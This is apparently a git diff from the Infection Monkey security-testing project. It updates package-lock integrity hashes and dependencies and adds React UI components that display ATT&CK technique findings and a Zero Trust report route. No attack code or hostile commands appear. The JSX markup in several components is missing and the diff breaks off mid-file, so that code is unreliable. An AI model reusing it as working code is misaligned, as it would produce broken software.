"version": "4.17.11",
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz",
- "integrity": "sha1-s56mIp72B+zYniyN8SU2iRysm40="
+ "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg=="
},
"mime-db": {
"version": "1.40.0",
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz",
- "integrity": "sha1-plBX6ZjbCQ9zKmj2wnbTh9QSbDI="
+ "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA=="
},
"mime-types": {
"version": "2.1.24",
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz",
- "integrity": "sha1-tvjQs+lR77d97eyhlM/20W9nb4E=",
+ "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==",
"requires": {
"mime-db": "1.40.0"
}
@@ -10421,17 +10624,17 @@
"oauth-sign": {
"version": "0.9.0",
"resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
- "integrity": "sha1-R6ewFrqmi1+g7PPe4IqFxnmsZFU="
+ "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
},
"psl": {
"version": "1.1.32",
"resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz",
- "integrity": "sha1-PxMnF88vnBaXJLK2yvNzz2lBmNs="
+ "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g=="
},
"request": {
"version": "2.88.0",
"resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz",
- "integrity": "sha1-nC/KT301tZLv5Xx/ClXoEFIST+8=",
+ "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==",
"requires": {
"aws-sign2": "~0.7.0",
"aws4": "^1.8.0",
@@ -10458,12 +10661,12 @@
"safe-buffer": {
"version": "5.1.2",
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
- "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0="
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
},
"tough-cookie": {
"version": "2.4.3",
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
- "integrity": "sha1-U/Nto/R3g7CSWvoG/587FlKA94E=",
+ "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
"requires": {
"psl": "^1.1.24",
"punycode": "^1.4.1"
@@ -10472,7 +10675,7 @@
"uuid": {
"version": "3.3.2",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz",
- "integrity": "sha1-G0r0lV6zB3xQHCOHL8ZROBFYcTE="
+ "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA=="
}
}
},
@@ -13227,7 +13430,7 @@
"npmlog": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz",
- "integrity": "sha1-CKfyqL9zRgR3mp76StXMcXq7lUs=",
+ "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==",
"requires": {
"are-we-there-yet": "~1.1.2",
"console-control-strings": "~1.1.0",
@@ -13497,7 +13700,7 @@
"osenv": {
"version": "0.1.5",
"resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz",
- "integrity": "sha1-hc36+uso6Gd/QW4odZK18/SepBA=",
+ "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==",
"requires": {
"os-homedir": "^1.0.0",
"os-tmpdir": "^1.0.0"
@@ -13730,7 +13933,7 @@
"path-parse": {
"version": "1.0.6",
"resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz",
- "integrity": "sha1-1i27VnlAXXLEc37FhgDp3c8G0kw="
+ "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw=="
},
"path-to-regexp": {
"version": "0.1.7",
@@ -14005,7 +14208,7 @@
"promise": {
"version": "7.3.1",
"resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz",
- "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=",
+ "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==",
"requires": {
"asap": "~2.0.3"
}
@@ -14360,6 +14563,15 @@
"scheduler": "^0.11.2"
}
},
+ "react-event-timeline": {
+ "version": "1.6.3",
+ "resolved": "https://registry.npmjs.org/react-event-timeline/-/react-event-timeline-1.6.3.tgz",
+ "integrity": "sha512-hMGhC9/Xx3sPF/TSlMCA13hZm/2c5CvBxbkDM7bQ4yq6VJ6AmhjqKPnU6/3nVmWUGpK3YqhHb95OiqulxVD3Eg==",
+ "dev": true,
+ "requires": {
+ "prop-types": "^15.6.0"
+ }
+ },
"react-fa": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz",
@@ -14600,7 +14812,7 @@
"react-spinners": {
"version": "0.5.4",
"resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.5.4.tgz",
- "integrity": "sha1-WBZvi/hMvwbdesytS5SleXz+qbk=",
+ "integrity": "sha512-jo7BE8prvnZNL7xNrQL16geVXH6LmaWrhvvXnmUwz2MhFO14bhlAdCLuKCwqmUJ37kGphH0C2CJRThwkjfpVzw==",
"requires": {
"@emotion/core": "^10.0.4",
"prop-types": "^15.5.10",
@@ -14648,7 +14860,7 @@
"resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
"integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
"requires": {
- "js-tokens": "3.0.2"
+ "js-tokens": "^3.0.0 || ^4.0.0"
}
}
}
@@ -14751,7 +14963,7 @@
"recompose": {
"version": "0.30.0",
"resolved": "https://registry.npmjs.org/recompose/-/recompose-0.30.0.tgz",
- "integrity": "sha1-gnc2QbOSfox9JKDYfWWu66GKq9A=",
+ "integrity": "sha512-ZTrzzUDa9AqUIhRk4KmVFihH0rapdCSMFXjhHbNrjAWxBuUD/guYlyysMnuHjlZC/KRiOKRtB4jf96yYSkKE8w==",
"requires": {
"@babel/runtime": "^7.0.0",
"change-emitter": "^0.1.2",
@@ -15047,7 +15259,7 @@
"resolve-pathname": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz",
- "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk="
+ "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg=="
},
"resolve-url": {
"version": "0.2.1",
@@ -15123,6 +15335,11 @@
"aproba": "^1.1.1"
}
},
+ "rw": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz",
+ "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q="
+ },
"rxjs": {
"version": "6.3.3",
"resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.3.3.tgz",
@@ -15242,7 +15459,7 @@
"sass-loader": {
"version": "7.1.0",
"resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.1.0.tgz",
- "integrity": "sha1-Fv1ROMuLQkv4p1lSihly1yqtBp0=",
+ "integrity": "sha512-+G+BKGglmZM2GUSfT9TLuEp6tzehHPjAMoRRItOojWIqIGPloVCMhNIQuG639eJ+y033PaGTSjLaTHts8Kw79w==",
"requires": {
"clone-deep": "^2.0.1",
"loader-utils": "^1.0.1",
@@ -15255,12 +15472,12 @@
"big.js": {
"version": "5.2.2",
"resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
- "integrity": "sha1-ZfCvOC9Xi83HQr2cKB6cstd2gyg="
+ "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ=="
},
"json5": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
- "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=",
+ "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
"requires": {
"minimist": "^1.2.0"
}
@@ -15268,7 +15485,7 @@
"loader-utils": {
"version": "1.2.3",
"resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
- "integrity": "sha1-H/XcaRHJ8KBiUxpMBLYJQGEIwsc=",
+ "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
"requires": {
"big.js": "^5.2.2",
"emojis-list": "^2.0.0",
@@ -15283,7 +15500,7 @@
"semver": {
"version": "5.7.0",
"resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz",
- "integrity": "sha1-eQp89v6lRZuslhELKbYEEtyP+Ws="
+ "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA=="
}
}
},
@@ -15525,7 +15742,7 @@
"shallow-clone": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz",
- "integrity": "sha1-RIDNBuiC72iyrYij6lSDLixItXE=",
+ "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==",
"requires": {
"is-extendable": "^0.1.1",
"kind-of": "^5.0.0",
@@ -15535,7 +15752,7 @@
"kind-of": {
"version": "5.1.0",
"resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
- "integrity": "sha1-cpyR4thXt6QZofmqZWhcTDP1hF0="
+ "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
}
}
},
@@ -16027,7 +16244,7 @@
"stdout-stream": {
"version": "1.4.1",
"resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz",
- "integrity": "sha1-WsF0zdXNcmEEqgwLK9g4FdjVNd4=",
+ "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==",
"requires": {
"readable-stream": "^2.0.1"
},
@@ -16040,12 +16257,12 @@
"process-nextick-args": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha1-o31zL0JxtKsa0HDTVQjoKQeI/6o="
+ "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw=="
},
"readable-stream": {
"version": "2.3.6",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
- "integrity": "sha1-sRwn2IuP8fvgcGQ8+UsMea4bCq8=",
+ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -16059,7 +16276,7 @@
"string_decoder": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
- "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"requires": {
"safe-buffer": "~5.1.0"
}
@@ -16397,7 +16614,7 @@
"tar": {
"version": "2.2.2",
"resolved": "https://registry.npmjs.org/tar/-/tar-2.2.2.tgz",
- "integrity": "sha1-DKiEhWLHKZuLRG/2pNYM27I+3EA=",
+ "integrity": "sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==",
"requires": {
"block-stream": "*",
"fstream": "^1.0.12",
@@ -16588,7 +16805,7 @@
"true-case-path": {
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz",
- "integrity": "sha1-+BO1qMhrQNpZYGcisUTjIleZ9H0=",
+ "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==",
"requires": {
"glob": "^7.1.2"
}
@@ -17069,7 +17286,7 @@
"value-equal": {
"version": "0.4.0",
"resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz",
- "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c="
+ "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw=="
},
"vary": {
"version": "1.1.2",
@@ -19045,8 +19262,7 @@
"ansi-regex": {
"version": "2.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"aproba": {
"version": "1.2.0",
@@ -19089,8 +19305,7 @@
"code-point-at": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"concat-map": {
"version": "0.0.1",
@@ -19101,8 +19316,7 @@
"console-control-strings": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"core-util-is": {
"version": "1.0.2",
@@ -19219,8 +19433,7 @@
"inherits": {
"version": "2.0.3",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"ini": {
"version": "1.3.5",
@@ -19232,7 +19445,6 @@
"version": "1.0.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@@ -19249,20 +19461,18 @@
"dev": true,
"optional": true,
"requires": {
- "brace-expansion": "1.1.11"
+ "brace-expansion": "^1.1.7"
}
},
"minimist": {
"version": "0.0.8",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"minipass": {
"version": "2.2.4",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"safe-buffer": "^5.1.1",
"yallist": "^3.0.0"
@@ -19281,7 +19491,6 @@
"version": "0.5.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"minimist": "0.0.8"
}
@@ -19362,8 +19571,7 @@
"number-is-nan": {
"version": "1.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"object-assign": {
"version": "4.1.1",
@@ -19375,7 +19583,6 @@
"version": "1.4.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"wrappy": "1"
}
@@ -19461,8 +19668,7 @@
"safe-buffer": {
"version": "5.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"safer-buffer": {
"version": "2.1.2",
@@ -19498,7 +19704,6 @@
"version": "1.0.2",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@@ -19518,7 +19723,6 @@
"version": "3.0.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@@ -19562,14 +19766,12 @@
"wrappy": {
"version": "1.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"yallist": {
"version": "3.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
}
}
},
@@ -19979,7 +20181,7 @@
"whatwg-fetch": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.0.0.tgz",
- "integrity": "sha1-/IBORYzEYACbGiuWa8iBfSV4rvs="
+ "integrity": "sha512-9GSJUgz1D4MfyKU7KRqwOjXCXTqWdFNvEr7eUBYchQiVc744mqK/MzXPNR2WsPkmkOa4ywfg8C2n8h+13Bey1Q=="
},
"which": {
"version": "1.3.0",
@@ -19998,7 +20200,7 @@
"wide-align": {
"version": "1.1.3",
"resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz",
- "integrity": "sha1-rgdOa9wMFKQx6ATmJFScYzsABFc=",
+ "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==",
"requires": {
"string-width": "^1.0.2 || 2"
}
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index a76541e36..4da085836 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -55,6 +55,7 @@
"null-loader": "^0.1.1",
"phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2",
+ "react-event-timeline": "^1.6.3",
"react-hot-loader": "^4.3.11",
"rimraf": "^2.6.2",
"style-loader": "^0.22.1",
@@ -64,12 +65,15 @@
"webpack-dev-server": "^3.1.9"
},
"dependencies": {
+ "@emotion/core": "^10.0.10",
"@kunukn/react-collapse": "^1.0.5",
- "classnames": "^2.2.6",
"bootstrap": "3.4.1",
+ "classnames": "^2.2.6",
"core-js": "^2.5.7",
+ "d3": "^5.11.0",
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
+ "file-saver": "^2.0.2",
"filepond": "^4.2.0",
"js-file-download": "^0.4.4",
"json-loader": "^0.5.7",
@@ -84,6 +88,7 @@
"react-bootstrap": "^0.32.4",
"react-copy-to-clipboard": "^5.0.1",
"react-data-components": "^1.2.0",
+ "react-desktop-notification": "^1.0.9",
"react-dimensions": "^1.3.0",
"react-dom": "^16.5.2",
"react-fa": "^5.0.0",
@@ -93,14 +98,13 @@
"react-jsonschema-form": "^1.0.5",
"react-redux": "^5.1.1",
"react-router-dom": "^4.3.1",
+ "react-spinners": "^0.5.4",
"react-table": "^6.8.6",
"react-toggle": "^4.0.1",
"react-tooltip-lite": "^1.9.1",
"redux": "^4.0.0",
"sass-loader": "^7.1.0",
"sha3": "^2.0.0",
- "react-spinners": "^0.5.4",
- "@emotion/core": "^10.0.10",
- "react-desktop-notification": "^1.0.9"
+ "pluralize": "^7.0.0"
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js
index 619d5e922..09038292e 100644
--- a/monkey/monkey_island/cc/ui/src/components/Main.js
+++ b/monkey/monkey_island/cc/ui/src/components/Main.js
@@ -7,10 +7,10 @@ import RunServerPage from 'components/pages/RunServerPage';
import ConfigurePage from 'components/pages/ConfigurePage';
import RunMonkeyPage from 'components/pages/RunMonkeyPage';
import MapPage from 'components/pages/MapPage';
-import PassTheHashMapPage from 'components/pages/PassTheHashMapPage';
import TelemetryPage from 'components/pages/TelemetryPage';
import StartOverPage from 'components/pages/StartOverPage';
import ReportPage from 'components/pages/ReportPage';
+import ZeroTrustReportPage from 'components/pages/ZeroTrustReportPage';
import LicensePage from 'components/pages/LicensePage';
import AuthComponent from 'components/AuthComponent';
import LoginPageComponent from 'components/pages/LoginPage';
@@ -29,6 +29,8 @@ let infectionMonkeyImage = require('../images/infection-monkey.svg');
let guardicoreLogoImage = require('../images/guardicore-logo.png');
let notificationIcon = require('../images/notification-logo-512x512.png');
+const reportZeroTrustRoute = '/report/zero_trust';
+
class AppComponent extends AuthComponent {
updateStatus = () => {
this.auth.loggedIn()
@@ -148,7 +150,7 @@ class AppComponent extends AuthComponent {
-
+
4.
Security Report
{this.state.completedSteps.report_done ?
@@ -156,6 +158,15 @@ class AppComponent extends AuthComponent {
: ''}
+
+
+ 5.
+ Zero Trust Report
+ {this.state.completedSteps.report_done ?
+
+ : ''}
+
+
@@ -190,7 +201,8 @@ class AppComponent extends AuthComponent {
{this.renderRoute('/infection/map', )}
{this.renderRoute('/infection/telemetry', )}
{this.renderRoute('/start-over', )}
- {this.renderRoute('/report', )}
+ {this.renderRoute('/report/security', )}
+ {this.renderRoute(reportZeroTrustRoute, )}
{this.renderRoute('/license', )}
@@ -200,10 +212,11 @@ class AppComponent extends AuthComponent {
}
showInfectionDoneNotification() {
- if (this.state.completedSteps.infection_done) {
- let hostname = window.location.hostname;
- let url = `https://${hostname}:5000/report`;
- console.log("Trying to show notification. URL: " + url + " | icon: " + notificationIcon);
+ if (this.shouldShowNotification()) {
+ const hostname = window.location.hostname;
+ const port = window.location.port;
+ const protocol = window.location.protocol;
+ const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`;
Notifier.start(
"Monkey Island",
@@ -212,6 +225,11 @@ class AppComponent extends AuthComponent {
notificationIcon);
}
}
+
+ shouldShowNotification() {
+ // No need to show the notification to redirect to the report if we're already in the report page
+ return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith("/report"));
+ }
}
AppComponent.defaultProps = {};
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
index 9885219ad..4d4f55dad 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js
@@ -11,7 +11,47 @@ export function renderMachine(val){
export function renderMachineFromSystemData(data) {
let machineStr = data['hostname'] + " ( ";
data['ips'].forEach(function(ipInfo){
- machineStr += ipInfo['addr'] + " ";
+ if(typeof ipInfo === "object"){
+ machineStr += ipInfo['addr'] + ", ";
+ } else {
+ machineStr += ipInfo + ", ";
+ }
});
- return machineStr + ")"
+ // Replaces " ," with " )" to finish a list of IP's
+ return machineStr.slice(0, -2) + " )"
}
+
+/* Formats telemetry data that contains _id.machine and _id.usage fields into columns
+ for react table. */
+export function getUsageColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: { 'whiteSpace': 'unset' },
+ width: 300},
+ {Header: 'Usage',
+ id: 'usage',
+ accessor: x => x.usage,
+ style: { 'whiteSpace': 'unset' }}]
+ }])}
+
+/* Renders table fields that contains 'used' boolean value and 'name' string value.
+'Used' value determines if 'name' value will be shown.
+ */
+export function renderUsageFields(usages){
+ let output = [];
+ usages.forEach(function(usage){
+ if(usage['used']){
+ output.push({usage['name']}
)
+ }
+ });
+ return ({output}
);
+ }
+
+export const ScanStatus = {
+ UNSCANNED: 0,
+ SCANNED: 1,
+ USED: 2
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
index d7783714a..24d742c14 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js
@@ -1,7 +1,8 @@
import React from 'react';
import '../../../styles/Collapse.scss'
-import '../../report-components/StolenPasswords'
-import StolenPasswordsComponent from "../../report-components/StolenPasswords";
+import '../../report-components/security/StolenPasswords'
+import StolenPasswordsComponent from "../../report-components/security/StolenPasswords";
+import {ScanStatus} from "./Helpers"
class T1003 extends React.Component {
@@ -15,7 +16,7 @@ class T1003 extends React.Component {
{this.props.data.message}
- {this.props.data.status === 'USED' ?
+ {this.props.data.status === ScanStatus.USED ?
: ""}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
new file mode 100644
index 000000000..6d46c2285
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js
@@ -0,0 +1,38 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import {renderMachineFromSystemData, ScanStatus} from "./Helpers";
+
+class T1005 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getDataColumns() {
+ return ([{
+ Header: "Sensitive data",
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }},
+ ]}])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1005;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
new file mode 100644
index 000000000..63e2bb4a5
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js
@@ -0,0 +1,39 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
+
+
+class T1016 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getNetworkInfoColumns() {
+ return ([{
+ Header: "Network configuration info gathered",
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1016;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
new file mode 100644
index 000000000..dcf7687db
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js
@@ -0,0 +1,48 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1018 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static renderMachines(machines){
+ let output = [];
+ machines.forEach(function(machine){
+ output.push(renderMachine(machine))
+ });
+ return ({output}
);
+ }
+
+ static getScanInfoColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }},
+ {Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1018;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
new file mode 100644
index 000000000..ce8688af1
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js
@@ -0,0 +1,44 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1021 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getServiceColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: { 'whiteSpace': 'unset' }, width: 160},
